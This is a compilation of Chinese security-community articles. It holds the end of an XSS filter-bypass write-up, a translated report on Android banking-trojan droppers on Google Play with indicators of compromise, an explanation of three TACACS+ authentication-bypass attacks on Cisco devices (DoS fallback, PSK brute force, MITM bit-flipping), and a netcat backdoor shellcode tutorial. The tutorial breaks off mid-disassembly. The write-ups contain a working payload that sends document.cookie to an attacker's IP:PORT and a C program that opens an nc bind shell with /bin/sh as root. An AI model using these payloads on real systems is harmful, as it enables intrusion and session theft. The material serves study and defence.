检测结果：document、单双引号均在黑名单（结果均为无响应包，就不重复贴图了）
检测语句：?keyword=<img/onerror=String.fromCharCode(97,108,101,114,116,40,49,41)>
检测结果：经逐一排查，string，fromCharCode，onerror均在黑名单
经过其它测试，黑名单大致为：window，cookie，script，alert，document，confirm，string，fromcharcode，onerror，单双引号，加号，分号。
# **\- 寻找突破点**
首先，我们需要找到一个合法元素，它能执行一行或多行JS语句。由于img元素诸属性受黑名单限制或间接限制，因此选用<svg/onload>执行JS。
其次，由于没有单双引号和分号，onload属性后面只能接一个函数才能让HTML正常解析。两个函数以上是不行的(例如空格或者&&之类的写法，会导致svg直接不被渲染)，经过测试eval不在黑名单中，可用于执行特定构造语句。
最后的难点便是构造字符串对象了。可以看到，由于单双引号、String直接被黑名单了，我们无论是用于eval的代码串或者用于反弹cookie的VPS地址都需要字符串对象。在这里需要一个不用引号或者string来获得可控字符串实例的方法。
正一筹莫展的时候，想起了JS的正则表达式对象。
可以看到，/XSS/本身并不是字符串对象，但是toString()后是“/XSS/”，不过String是黑名单。那就需要一些字符串处理函数了，它能调用对象的toString方法，最好有办法还原字符串。于是想到base64：
看来达到了目的。经过测试slice、concat没有被过滤（这点也比较重要，因为通过这种方式获得的字符串头尾均有斜杠，同时加号被过滤需要解决字符串连接）。如此一来，我们便可以在eval中执行任意的代码了。
# **\- 构造PoC**
PoC：?keyword=%3Csvg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))%3E
利用成功
# **\- 总结**
由此看来，防范XSS不要依赖黑名单，最好在回显出进行转义。
本人也非常菜，这算作一次学习经历吧。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html>**
“瞒天过海”策略来源于《三十六计》第一章，这是中国著名的战术和技巧集，适用于政治、战争和人民生活。它的意思就是“隐藏在显而易见的地方”或者“掩盖你真正的目标”。
安卓银行木马黑客已经牢记这一策略，并且多年来一直非常习惯了新的谷歌应用商店对他们的运营的限制。这些限制包括对某些(危险的)应用程序权限的使用设置限制，这些权限常常用于分发或自动化恶意软件策略。
在这个博客中，我们将讨论最近通过 Google Play (MITRE T1475)传播 Android
银行木马所使用的技术，这些技术给目标银行造成了巨大的财务损失。我们还将讨论该技术造成的后果，即银行木马程序收集联系人和按键而导致的严重数据泄露。
## 攻击者使用的战术
从自动化(沙盒)和机器学习的角度来看，这些 Google Play 分发活动很难被发现，因为dropper应用程序的恶意足迹很小。它的内存占用很小是由
Google Play 强制执行的许可限制造成的。
一个很好的例子是2021年11月13日谷歌引入的修改，它限制了无障碍服务的使用，因为在早期，这个服务常常被自动化和安装应用程序的攻击利用，但并没有经过用户的同意。
谷歌的这种监管方式就迫使攻击者另寻他法，大幅度减少dropper 应用程序的占用空间。除了恶意软件代码进一步改进，Google Play
的分发活动也比以前的攻击更加精细。例如，通过在 Google Play 中引入精心策划的小型恶意代码更新，以及使用dropper
c2后端来完全匹配dropper应用程序的主题(例如，一个针对健身的应用程序Fitness 的正常运行的网站)。
为了让木马更难被发现，这些dropper应用程序背后的攻击者只是手动激活被感染设备上的银行木马安装，以控制他们在某个特定地区的受害者数量。这使得安全组织的自动检测策略效用大大降低。
VirusTotal 并没有展示反病毒产品检测的演变，但是几乎所有的活动在 VirusTotal 上都有或者曾有0/62 FUD
评分，这证实了用最小的内存占用检测dropper应用程序的难度。
## 组织和数据
在下面的段落中，我们概述了最近通过 Google Play 分发的每个团伙的作案手法(MO)。这些组织都有自己的银行应用程序目标列表（见附录）。
## Anatsa 攻击活动
在不同恶意软件家族分布技术的研究过程中，我们的分析师发现了大量位于 Google Play 中的dropper应用程序，专门用来分布银行木马
Anatsa。ThreatFabric在2021年1月发现了 Anasta。
Anatsa 是一个相当高级的 Android 银行木马，具有 RAT 和半 ats
功能。它还可以执行经典的覆盖攻击，以窃取凭证、可访问性日志(捕获用户屏幕上显示的所有内容)和键盘记录。此前，ThreatFabric曾报道过
Anatsa与Cabassous一起在欧洲各地的短信诈骗活动的[案例](https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html)。我们的最新调查结果显示，Anatsa现在使用的是
Google Play dropper应用程序。
**成千上万的受害者**
2021年6月，我们发现了第一个伪装成扫描文档应用程序的dropper。自2021年6月以来，ThreatFabric 分析师总共能够识别出6个发布在
Google Play 上的 Anatsa 软件漏洞。
这些应用包括 QR 码扫描器、 PDF 扫描器和加密货币应用程序。有一个dropper应用程序被安装了超过 **5万**
次，所有dropper的安装总数超过 **10万** 次。
感染 Anatsa 的过程是这样的: 从 Google Play
开始安装时，用户被迫更新应用程序以便继续使用该应用程序。此时，Anatsa有效载荷从C2服务器下载，并安装在毫无戒备的受害者的设备上。
背后的攻击者努力让他们的应用程序看起来合法且有用。它们的评论区有大量的正面评价，安装的次数和评论可能会诱使 Android
用户安装这个应用程序。此外，这些应用程序确实拥有所声称的功能，安装后它们确实正常运行，这进一步说服受害者它们的合法性。
尽管安装了大量的设备，但并不是每一个安装了这些dropper的设备都会接收到
Anatsa，因为攻击者只针对他们感兴趣的地区用户。我们将在下一节讨论这个和其他技术细节。
**技术细节**
所有 Anatsa dropper 在代码级别上看起来很相似。在应用程序启动时，会启动一个服务来检查是否安装了“更新”。dropper向
c2发送关于设备的信息，包括设备 ID、设备名、地区、国家、 Android SDK 版本。
正如前面提到的，并不是每个设备都会收到“更新”。此时，C2后端根据设备信息决定是否提供 Anatsa
有效载荷，同时，根据C2的响应，dropper将决定是否下载 Anatsa。
这种方法使攻击者能够针对特定区域的设备，还可以轻松地将重点转移到另一个区域。这种行为与Anatsa
从一个地区转移到另一个地区，不断更新其目标金融机构名单的行为是一致的。此外，过滤允许网络犯罪分子在 Google Play
上发布应用程序时，阻止dropper在评估过程中下载“更新”。
我们的分析师已经确认， Anatsa dropper最初在 Google Play
上发布的第一个版本中没有恶意功能，但是在后来的版本中修改了他们的行为，增加了植入功能，并且需要更多的权限。
当所有条件都满足并且有效负载准备就绪时，系统将提示用户下载并安装它。
成功下载“更新”后，用户将被要求安装来自未知来源的应用程序的权限。用户确信更新是应用程序正常工作所必需的，然后授予许可。安装完成后，Anatsa
在设备上运行，并立即请求受害者授予可访问性服务特权。
启用可访问性服务后，Anatsa可以完全控制设备，并可以代表受害者执行操作。与此同时，dropper应用程序也作为合法应用程序运行和运行，但受害者可能仍然毫无戒心。
## Hydra 和 Ermac 活动
**Brunhilda : Valkyrie 的回归**
ThreatFabric识别了Brunhilda 组织团伙植入的多个恶意软件案例，与之前的活动一致，它由木马程序化的应用程序组成。
在第一个案例中，我们发现Brunhilda伪装成二维码编码创建应用程序，Brunhilda在已有的软件系列，比如 [Hydra
](https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html)以及新奇的软件系列，比如
[Ermac ](https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html)中置入样本。
这次Brunhilda
攻击中放置的应用程序与我们在2021年观察到的旧版本的应用程序在功能上没有太大的不同。正如它在之前的迭代中所做的那样，Brunhilda 使用 gRPC
协议向其 C2发送注册请求。成功注册后，在传递更多关于设备的详细信息之后，C2指示dropper下载并安装有效载荷包。
在过去的几个月里，两个木马都非常活跃，甚至冒险进入以前没有开发过的市场，比如美国。这种新的恶意软件浪潮始于2021年8月，其中也包括像 Gustuff 和
Anatsa 这样的恶意软件。
## Alien 攻击活动
正如前面提到的，ThreatFabric发现，Brunhilda提供不同的恶意软件家族。一些样本有超过5万次的安装，并且置入了安卓木马[Alien
](https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html)。
在这种情况下，正如[Vultur ](https://www.threatfabric.com/blogs/vultur-v-for-vnc.html)的部署一样，这些应用软件在从商店下架之前达到了数千次下载。这些样本取得了非常显著的效果，从5前多次到5万多次的下载量足以见得。考虑到这个数字，可以肯定地说，这个dropper家族可能在运行期间感染了成千上万的受害者。
**Gymdrop**
2021年11月，ThreatFabric分析师在 Google Play 中发现了另一个dropper。它伪装成一个健身的应用程序，有10.000次安装。
这个dropper，我们称之为“
Gymdrop”，背后的黑客试图说服受害者和检测系统他们的应用程序是合法的。这个应用程序网站的设计初看起来是正常的，然而，它只是一个健身网站的模板，没有任何有用的信息，甚至在它的页面上仍然包含着“
Lorem Ipsum”占位符文本。
开发者的网站也是 Gymdrop 的
C2。就像之前观察到的一样，这个dropper试图说服受害者安装一个虚假的更新。然而，在这种情况下，它是以一种更具创造性的方式完成的:
有效载荷是按照应用程序的要求，作为一个新的锻炼练习资源。当用户单击“ OK”后，dropper将请求所需的权限。
在dropper从C2得到它的配置后不久。配置文件包含下载有效负载的链接。此外，配置包含基于设备模型的过滤规则。根据被过滤掉的模型和dropper的代码，我们可以得出这样的结论:
这样做是为了避免在模拟器或研究环境中下载有效负载。
如果满足所有条件，将下载并安装有效载荷。这个dropper也没有请求无障碍服务特权，它只是请求安装软件包的许可，并承诺安装新的锻炼资源——用以吸引用户授予这种许可。安装完成后，有效载荷就启动了。我们的威胁情报显示此时此刻这个dropper被用来分发外银行木马
Alien。
在写这篇博文的时候，Gymdrop 更新了(一个新版本被上传到了 Google Play)。但是，在 C2上没有找到配置文件。在 Google Play
上发布更新之前，不提供有效载荷或许是为了通过 Google 执行的安全检查。
**2个dropper应用程序推动僵尸网络建设**
值得一提的是，这个活动的 Alien样本与之前描述的由Brunhilda dropper驱动的攻击活动样本连接到相同的C2。
于是我们得出结论，这些Alien活动背后的攻击者在他们的分发策略中使用至少2种不同的dropper服务。
## 总结
在仅仅4个月的时间里，4个大的安卓木马家族通过 Google Play 传播，30多万人受到多个dropper应用程序感染。
在新的dropper运动中，一个明显的趋势是，黑客们更关注装载机，减少了 Google Play 中的恶意足迹，大大增加自动化和机器学习技术检测它们的难度。
这种小规模的恶意行为是用来应对 Google Play 的新限制(目前和计划中的)，Google Play
限制了与应用程序权限有关的隐私权的使用，如可访问性服务这样的权限，在以前的活动中，可访问性服务是 dropper 应用程序自动化安装 Android
银行木马的核心策略之一。
通过限制这些权限的使用，攻击者们被迫选择更传统的安装应用的方式，也就是请求安装许可，这样做的话，木马程序便与合法的应用程序难以区分了。这是移动银行木马攻击者成功潜入谷歌信任的应用程序商店的核心原因之一。
成功背后的第二个重要因素是攻击者设置了限制，通过机制确保有效载荷只安装在受害者的设备上，而不是安装在测试环境中。为了实现这一点，犯罪分子使用了多种技术，从位置检查到恶意增量更新，逃过了基于时间的解模糊处理和服务器端仿真检查。
攻击者格外的专注于规避不必要的注意，自动化的恶意软件检测不那么有效了。我们在这篇博文中调查了9个dropper，他们的总体 VirusTotal
得分非常低，这证实了我们的观点。
## IOC
### Brunhilda Dropper Samples
App name | Package name | SHA-256
---|---|---
Two Factor Authenticator | com.flowdivison |
a3bd136f14cc38d6647020b2632bc35f21fc643c0d3741caaf92f48df0fc6997
Protection Guard | com.protectionguard.app |
d3dc4e22611ed20d700b6dd292ffddbc595c42453f18879f2ae4693a4d4d925a
QR CreatorScanner | com.ready.qrscanner.mix |
ed537f8686824595cb3ae45f0e659437b3ae96c0a04203482d80a3e51dd915ab
Master Scanner Live | com.multifuction.combine.qr |
7aa60296b771bdf6f2b52ad62ffd2176dc66cb38b4e6d2b658496a6754
### Brunhilda Dropper C2 URL
**URL**
hxxps://protectionguardapp[.]club
hxxps://readyqrscanner[.]club
hxxps://flowdivison[.]club
hxxps://multifuctionscanner[.]club
### Anatsa Dropper Samples
App name | Package name | SHA-256
---|---|---
QR Scanner 2021 | com.qr.code.generate |
2db34aa26b1ca5b3619a0cf26d166ae9e85a98babf1bc41f784389ccc6f54afb
QR Scanner | com.qr.barqr.scangen |
4e9a95719e4b4748dba1338fdc5e4c7622b029bbcd9aac8a1caec30b5508db4
PDF Document Scanner - Scan to PDF | com.xaviermuches.docscannerpro2 |
2080061fe7f219fa0ed6e4c765a12a5bc2075d18482fa8cf27f7a090deca54c5
PDF Document Scanner | com.docscanverifier.mobile |
974eb933d687a9dd3539b97821a6a777a8e5b4d65e1f32092d5ae30991d4b544
PDF Document Scanner Free | com.doscanner.mobile |
16c3123574523a3f1fb24bbe6748e957afff21bef0e05cdb3b3e601a753b8f9d
CryptoTracker | cryptolistapp.app.com.cryptotracker |
1aafe8407e52dc4a27ea800577d0eae3d389cb61af54e0d69b89639115d5273c
### Anatsa Dropper C2 URL
**URL**
hxxp://195.201.70.88/api/update hxxp://178.63.27.179/api/update
hxxp://91.242.229.85/api/update hxxp://195.201.70.89/api/update
### Gymdrop Dropper Samples
App name | Package name | SHA-256
---|---|---
Gym and Fitness Trainer | com.gym.trainer.jeux |
30ee6f4ea71958c2b8d3c98a73408979f8179159acccc01b6fd53ccb20579b6b
Gym and Fitness Trainer | com.gym.trainer.jeux |
b3c408eafe73cad0bb989135169a8314aae656357501683678eff9be9bcc618f
### Gymdrop Dropper C2 URL
**URL**
hxxps://onlinefitnessanalysis[.]com/
### 置入的恶意软件样本
Malware Family | App name | Package name | SHA-256
---|---|---|---
Alien.A | Master Scanner Live | leaf.leave.exchang |
74407e40e1c01e73087442bcdf3a0802121c4263ab67122674d9d09b3edf856e
Alien.A | Gym and Fitness Trainer | gesture.enlist.say |
e8cbcc34af3bd352767b7a9270dd684a50da2e68976a3712675526a7398550a0
Anatsa.A | PDF AI : TEXT RECOGNIZER | com.uykxx.noazg |
d42e0d3db3662e809af3198da67fdbd46d5c2a1052b5945401e4cdd06c197714
Hydra.C | QR CreatorScanner | com.cinnamon.equal |
9ab66c1b7db44abaa53850a3d6a9af36c8ad603dab6900caba592497f632349f
Ermac.A | QR CreatorScanner | com.tag.right |
fd7e7e23db5f645db9ed47a5d36e7cf57ca2dbdf46a37484eafa1e04f657bf02
* * * | 社区文章 |
在这篇文章中，作者介绍了绕过 Cisco 设备的 TACACS 的三种方式。
* `No.1 利用 DoS 攻击绕过 Cisco TACACS+`
* `No.2 本地爆破 PSK 绕过 Cisco TACACS+`
* `No.3 利用中间人攻击 绕过 Cisco TACACS+`
一般来说，在一个大型网络中会有很多网络设备，如何管理这些网络设备的访问权限可能是个大问题。因此，大多数公司都会实现集中化的权限访问协议。Cisco 设备支持
TACACS+ 和 RADIUS 协议。
## 0x00 TACACS 协议简介
TACACS（Terminal Access Controller Access Control
System，终端访问控制器控制系统协议）是一种用于认证的计算机协议，在 UNIX 网络中与认证服务器进行通信，TACACS
允许远程访问服务器与认证服务器通信，以决定用户是否有权限访问网络。
TACACS 允许客户端接受用户名和口令，并发往通常称作 TACACS 守护进程（或者简单地称作 TACACSD ）的 TACACS
认证服务器，这个服务器一般是在主机上运行的一个程序。主机将决定是否接受或拒绝请求，并发回一个响应。
TIP（用户想要登录的接受拨入链接的路由节点）将基于这个响应接受或拒绝访问。这样，做出决定的过程是"向上开放"(opened
up)的，做出决定所用的算法和数据完全由 TACACS 守护进程的运行者控制。
Cisco 在 1990 引进的最近的 TACACS 版本称作 XTACACS（扩展 TACACS）。在较新的或更新过的网络中，这两个版本大多被
TACACS+ 和 RADIUS 所取代。
TACACS 在[RFC 1492](https://tools.ietf.org/html/rfc1492)中定义，默认使用 TCP 或 UDP 协议的
49 端口。
## 0x01 TACACS＋ 协议简介
TACACS+ 是一个全新的协议，与 TACACS 和 XTACACS 并不兼容。TACACS+ 所使用的端口为 TCP/49。
TACACS+（Terminal Access Controller Access Control System Plus）是在 TACACS
协议的基础上进行了功能增强的安全协议。该协议与 RADIUS 协议的功能类似，采用客户端/服务器模式实现 NAS 与 TACACS+ 服务器之间的通信。
TACACS+ 协议主要用于 PPP 和 VPDN（Virtual Private Dial-up Network，虚拟私有拨号网络）接入用户及终端用户的
AAA。
AAA 是
Authentication、Authorization、Accounting（认证、授权、计费）的简称，是网络安全的一种管理机制，提供了认证、授权、计费三种安全功能。
* 认证：确认访问网络的远程用户的身份，判断访问者是否为合法的网络用户。
* 授权：对不同用户赋予不同的权限，限制用户可以使用的服务。例如用户成功登录服务器后，管理员可以授权用户对服务器中的文件进行访问和打印操作。
* 计费：记录用户使用网络服务中的所有操作，包括使用的服务类型、起始时间、数据流量等，它不仅是一种计费手段，也对网络安全起到了监视作用。
## 0x02 TACACS＋ 认证过程
TACACS+ 服务通常会有一个特殊的服务器，所有的网络设备都会被配置成使用 TACACS+
服务器进行身份验证。当一个用户在交换机，路由器或其他网络设备上进行认证时，网络设备会发送该用户的凭证到 TACACS+
服务器进行验证，然后决定分配访问相关设备的权限，并将这些决定的结果包含在应答数据包中并发送到网络设备上，再由网络设备发送到用户终端。
图 1 ： TACACS＋ 认证过程
这是一个非常方便和集中化的做法。可以在不同的设备上为用户设置不同的权限。还有就是记录访问和操作均在服务器端。也可以在当前这种模式下再添加一种集中化式的管理方式，如
Active Directory 或 LDAP。不过，思科已将[ TACACS+
协议规范公开](http://tools.ietf.org/html/draft-grant-tacacs-02)，所以现在有了一种 TACACS+
服务的开源实现。
## 0x03 绕过 Cisco TACACS＋ 的三种攻击方式
### No.1 利用 DoS 攻击绕过 Cisco TACACS+
第一种攻击方式并不是一种攻击类型，准确的说是一个技巧，但是有时候在某些情况下是非常有用的。
让我们假定这么一个场景：
某渗透人员在目标公司的 TFTP 服务器中下载到了 Cisco
设备的配置文件，但是即使利用该配置文件破解出了设备的登陆账户信息，也依旧无法登陆到该设备中，原因就在于该设备将会使用 TACACS+ 服务验证本地账户。
使用 TACACS+ 进行身份验证是网络设备的一种典型配置。让我们继续假设，在 TACACS+ 服务器与网络设备之间发生了点什么，导致网络设备无法访问
TACACS+ 服务器。在这种情况，连管理员自己都不可能登录到网络设备中。为了解决这样的典型情况，Cisco
设备支持认证方式的回退，管理员可以设置不同的认证配置。
在 Cisco 设备中，一种使用 TACACS+ 进行身份验证的典型配置如下：
**`aaa authentication login default group tacacs+ local`**
上述配置表明，首选的身份验证为 TACACS+，之后才会使用本地验证方式（查询本地数据库）进行身份验证。同时，要注意，即使 TACACS+
服务没有发现一个用户的认证凭证，设备也不会使用本地验证方式。
也就是说，只有在 TACACS+ 服务不可用时，才会使用本地验证方式。
所以，第一种攻击思路很简单。我们只要对 TACACS+ 服务发动 DoS 攻击，之后连接到 Cisco 设备的本地帐户中（从 TFTP
服务器中下载并破解得到）。由于 TACACS+ 服务遭到 DoS 攻击无法访问，所以网络设备会提供给我们所期望的访问权限。我们可以使用多种 DoS
攻击。例如，我们可以发动临时的 DoS 攻击，对 TACACS+ 服务器创建大量基于 TCP 的连接。
图 2 ：对 TACACS+ 服务器发动 DoS 攻击
### 在介绍第二种和第三种攻击方式前需要了解的知识
在介绍第二种和第三种攻击方式前，我们需要了解一下 TACACS+
协议。该协议的数据是明文或者是加密后传输的。采用了基于PSK（预共享密钥）的自定义加密方式。管理员可以在 TACACS+
服务器上设置加密密钥，只要能够访问到 TACACS+ 服务器的网络设备都会在身份验证时使用这个加密密钥。
有一点值得注意的是，只有用户的凭证数据是加密的， TACACS+ 协议的报头信息并没有加密。
加密的具体细节如下：
加密的结果（ **enc_data** ）是未加密的用户的凭证数据 （ **data** ）与一个特殊的字符串（ **pseudo_pad** ）进行
**XOR** 操作后得到的。
**`data^pseudo_pad = enc_data`**
pseudo_pad 是几个拼接的 MD5 哈希。
**`pseudo_pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]}`**
MD5 哈希的值是对 TACACS+ 数据包报头信息，密钥（PSK）和前一个 MD5 哈希值加密的结果。因此，可以看到，第一个 MD5 是没有前一个 MD5
哈希值的。
MD5_1 = MD5{session_id, key, version, seq_no}
MD5_2 = MD5{session_id, key, version, seq_no, MD5_1}
....
MD5_n = MD5{session_id, key, version, seq_no, MD5_n-1}
**SESSION_ID** \- 是一个会话的随机标识符;
**version** \- TACACS+ 协议的版本;
**seq_no** \- 会话数据包的增量;
**key** \- PSK。
加密的数据如下图所示：
图 3 ：数据包中的加密数据
### No.2 爆破 PSK 绕过 Cisco TACACS+
OK，了解了上面的一些知识后，我们就可以理解后面两种攻击方式了。
假设现在有一台 Cisco 网络设备和一台 TACACS+ 服务器，我们已经得到了这两台服务器之间传输的 TACACS+
协议的加密数据（可以通过中间人攻击得到）。现在，我们只要得到了 PSK 就可以解密已加密的数据，之后，我们就可以得到一个有效的账户了。
现在，让我们看看该如何做到这一点。首先，我们可以看到，任何一个 MD5 哈希（尤其是第一个 MD5）都是由几个固定的值组成的。但是，其中只有一个是未知的
—— PSK。所有其它的值（SESSION_ID，version，seq_no），我们都可以从 TACACS+
数据包的报头中获取到。因此，我们可以使用本地离线暴力破解攻击的方式获得 PSK。而我们知道，暴力破解 MD5 是很快的。但在开始爆破前，我们需要得到第一个
MD5 哈希（ **MD5_1** ）。
我们知道，XOR 是一种可逆性的操作。所以，我们可以这样做
**`data^pseudo_pad = enc_data`**
将其转换为
**`pseudo_pad = data^enc_data`**
**MD5_1** 只是 **pseudo_pad** 的第一部分。“ **pseudo_pad** ” 的大小为 128位（或16字节）。如果我们想得到
**MD5_1** ，我们需要知道 16字节的已加密和已解密的数据即（“ **data**
”）。我们可以从传输的数据包中获得已加密数据。但是，现在我们如何才能得到 16字节 的解密数据呢？
需要注意的是，身份验证、授权、计费这三种类型的 TACACS +
数据包的请求和响应的格式是不同的。然而，对于这些不同的数据包，我有一个通用的思路，因为，在任何类型的数据包的前 16 个字节中几乎没有未知的或随机的值。
我不会去深究每种数据包类型中的技术细节。只是举一个例子以说明这个想法。这是 TACACS+
服务器响应的第一个数据包(如下图所示)。它由几个具有单一意义的字段和一条 Cisco 设备发送给用户的问候消息组成。由于我们可以任意连接到 Cisco
设备，所以就可以很轻易的得到响应数据包同时也就知道了所有字段的值。
图 4 : TACACS+ 服务器响应的第一个数据包
因此，从目前来看，我们几乎总是可以知道任何数据包的前 16 字节解密后的数据。所以我们就可以得到 **MD5_1**
，并使用本地离线暴力破解进行攻击。如果爆破成功了，我们就能够解密整个通信的数据。为了简化数据包的接收并解析出 **MD5_1** ，我写了一个小脚本 ——
tac2cat.py。它是 [TacoTaco 项目](https://github.com/GrrrDog/TacoTaco)的一部分。
### No.3 利用中间人攻击 绕过 Cisco TACACS+
对于最后一种攻击方式，我们可以利用中间人攻击篡改 TACACS+ 服务器和 Cisco 设备之间传输的数据。我们的目的是获取到 Cisco 设备的所有权限。
在重新审查 TACACS+ 协议时，我发现了两个额外的"特点"。
第一个是在 TACACS+ 协议传输过程中并没有检查数据包的完整性。所以，如果我们利用中间人攻击改变了传输中的加密的部分，那么也就改变了解密的结果
(因为它只进行了 XOR 操作)，但 TACACS+ 服务器并不会发现所做的更改，并以正常的方式处理已经被修改过的传输数据。
图 5 ： TACACS+ 协议数据包
第二个特点是关于 TACACS+ 数据包的格式。在身份验证和授权的过程中，应答的数据包中的第一个字节指示了访问权限授予的结果。
例如，"0x01"代表了用户通过了服务器的身份验证过程 (授予访问权限) ，"0x02"代表了用户的凭据是无效的。
总之，我们只需要更改服务器应答的数据包的一个字节即可!
* 获取该字节的 " **pseudo_pad** ": 将加密的字节和解密的字节进行 XOR 操作 (我们知道解密的字节的值，因为如果我们输入不正确的凭据后，服务器会拒绝访问并设置第一个字节为 0x02。
* 将这个 " **pseudo_pad** " 与成功的身份验证标识 (0x01) 进行 XOR 操作
* 将新的字节加入到加密的数据包中并发送给服务器。
因此，利用中间人攻击，我们可以对任何使用无效凭证的用户的传输数据和访问权限授予（身份认证和授权）进行更改。此外，我们也可以绕过 Cisco
设备中特权用户提升（“enable” 密码）的身份验证过程。
为了方便进行中间人攻击，我写了一个小脚本——tacflip.py，是 [TacoTaco
项目](https://github.com/GrrrDog/TacoTaco)的一部分。
我已经在 Cisco 7200 路由器的 GNS3 模拟器和开源实现的 TACACS+ 服务器——tac_plus
中成功验证了这种（绕过身份验证，特权用户提升授权）攻击方式，下面是路由器中配置文件的一部分：
aaa authentication login default group tacacs+ local
aaa authentication enable default group tacacs+
aaa authorization exec default group tacacs+ local
tacacs-server host 192.168.182.136
tacacs-server directed-request
tacacs-server key 12345
这个小视频演示了在 Cisco 路由上进行绕过身份验证/授权、特权提权和命令执行的攻击过程。
[点我看小视频](https://youtu.be/HdTib8wftHA)
## 0x04 一点儿题外话
在 2000 年，Solar Designer 针对 TACACS+
协议做了一个很有趣的研究（[链接在此](https://goo.gl/E2IGnk)），例如，他发现了重放攻击，用户密码长度信息泄漏，位翻转攻击等漏洞。但我并没有找到
这些漏洞的 PoCs。
对于我对 TACACS+ 协议所做的"研究"，都是在与协议进行了随机的互动操作后的很长一段时间里的一些想法。正因为如此，我忘了有关 Solar
Designer 研究的结果并且重新了解了他的一些发现。
因此，可能我工作的最重要的结果就是 [TacoTaco
项目](https://github.com/GrrrDog/TacoTaco)。它是这篇文章所讲述的攻击方式的具体实现。
## 0x05 总结
从目前来看，我认为，TACACS+ 协议并没有针对中间人攻击提供必要的保护级别。
不过话又说回来，有时很难在实战中执行所有这些攻击操作，因为 Cisco 建议将 TACACS+ 服务器放置在一个特殊的管理方式中 —— VLAN
(只有管理员和网络设备才能访问) 。当然，也有方法可以渗透到 VLAN 中并控制它，不过这就是另一码事儿了。
## 参考及引用
<https://zh.wikipedia.org/wiki/TACACS>
<http://www.h3c.com.cn/MiniSite/Technology_Circle/Net_Reptile/The_Seven/Home/Catalog/201309/797633_97665_0.htm>
<https://zh.wikipedia.org/wiki/TACACS%2B> | 社区文章 |
# 【技术文章】NC后门技术（shellcode版）
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/papers/35538/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **rac_cp**
****](http://bobao.360.cn/member/contribute?uid=2796348634)
**预估稿费：150RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**免责声明：小心！不要将这个程序（技术）使用在你编写的软件中，否则可能会给自己带来牢狱之灾。**
**一、引言—-什么是NetCat（瑞士军刀）**
Netcat是一个unix实用程序，它可以实现使用TCP或者UDP协议来实现网络传输数据的功能。
它设计的目的是成为一个可以直接被其他程序或脚本直接加载的“后端”执行工具。
它是一个功能丰富网络调试和探索工具，因为它可以创建几乎任何种类的连接，并且还提供了几个有趣的内置功能。
Netcat（简称为“nc”）目前已经成为unix系统自带的程序。
Netcat被认为是20大网络调试工具之一，它具备以下多种功能：
1\. 连接到某个服务器
2\. 作为一个后门使用
3\. 传输数据
4\. 几乎可以连接所有的“TCP/IP”端口
5\. 其它
现如今作为一个系统管理员应该（“必须”）学习如何使用netcat来连接其他计算机等功能。在本文中，我会告诉你一个netcat
shellcode，可以在软件后台打开一个端口并向外提供连接以实现后门的功能。
**二、繁琐的过程**
我作为计算机爱好者和一个软件程序员已经花了好几个星期时间来搜索如何使用netcat来做一个shellcode的后门，这是非常困难的一个过程工具，因为它是一个网络调试工具。
首先我们写两个C程序来测试shellcode：
#include <stdio.h> //IO header
#include <string.h> //Functions on favor of strings
#include <stdlib.h> //exit() function
char shellcode[] = ""; /* Global array */
int main(int argc, char **argv)
{
int (*ret)(); /* ret is a func pointer*/
ret = (int(*)())shellcode; /* ret points to our shellcode */
(int)(*ret)();/* shellcode is type caste as a function */
exit(0)/* exit() */
}
第二个程序是关于Mmap.c测试程序：
#include <stdio.h>//IO header
#include <sys/mman.h>//MMAN sys func
#include <string.h> //Functions on favor of strings
#include <stdlib.h>//Define Var types
#include <unistd.h>//Defines misc symbolic constants and types, and declares misc functions
int (*shellcodetotest)(); /* Global Variable type int, shellcodetotest is a func pointer */
char shellcode[] = "";/* Global array */
int main(int argc, char **argv)
{
void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);/* Mmap functions passed to *ptr pointer */
if(ptr == MAP_FAILED)
{
perror("mmap");/* Func to error of program */
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode)); /* Memcpy function */
shellcodetotest = ptr;/* Here we test the shellcode with mmap functions */
shellcodetotest();/* Exec the shellcode */
return 0;/* return */
}
接下来应该做的工作是：
1\. 准备一个C程序去执行nc命令
2\. 测试
3\. 调试
root@MINDZSEC:~# nano ntcat.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
setresuid(0,0,0); /* Set res UID 0 0 0 to all program */
char *envp[] = { NULL };
char *argv[] = {"/bin/nc", "-lvp9999", "-e/bin/sh", NULL};
int ret = execve("/bin/nc", argv, envp); /* exec the command */
}
接下来编译这个程序
root@MINDZSEC:~# gcc -S ntcat.c (-S switch for asm lang)
汇编
root@MINDZSEC:~# as ntcat.s -o ntcat.o
链接
root@MINDZSEC:~# ld ntcat.o -o ntcat
运行
root@MINDZSEC:~# ./ntcat
（其实我写的时候用的是gcc ntcat.c -o
ntcat直接编译生成的，并没有照着原作者那样一步一步生成，下图中可以看到，程序运行起来后，是使用nc程序直接监听9999端口的。）
反汇编程序
root@MINDZSEC:~# objdump -d ntcat.o
得到
ntcat.o: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0:55 push %ebp
1:89 e5 mov %esp,%ebp
3:83 e4 f0 and $0xfffffff0,%esp
6:83 ec 30 sub $0x30,%esp
9:c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
10:00
11:c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
18:00
19:c7 04 24 00 00 00 00 movl $0x0,(%esp)
20:e8 fc ff ff ff call 21 <main+0x21>
25:c7 44 24 28 00 00 00 movl $0x0,0x28(%esp)
2c:00
2d:c7 44 24 18 00 00 00 movl $0x0,0x18(%esp)
34:00
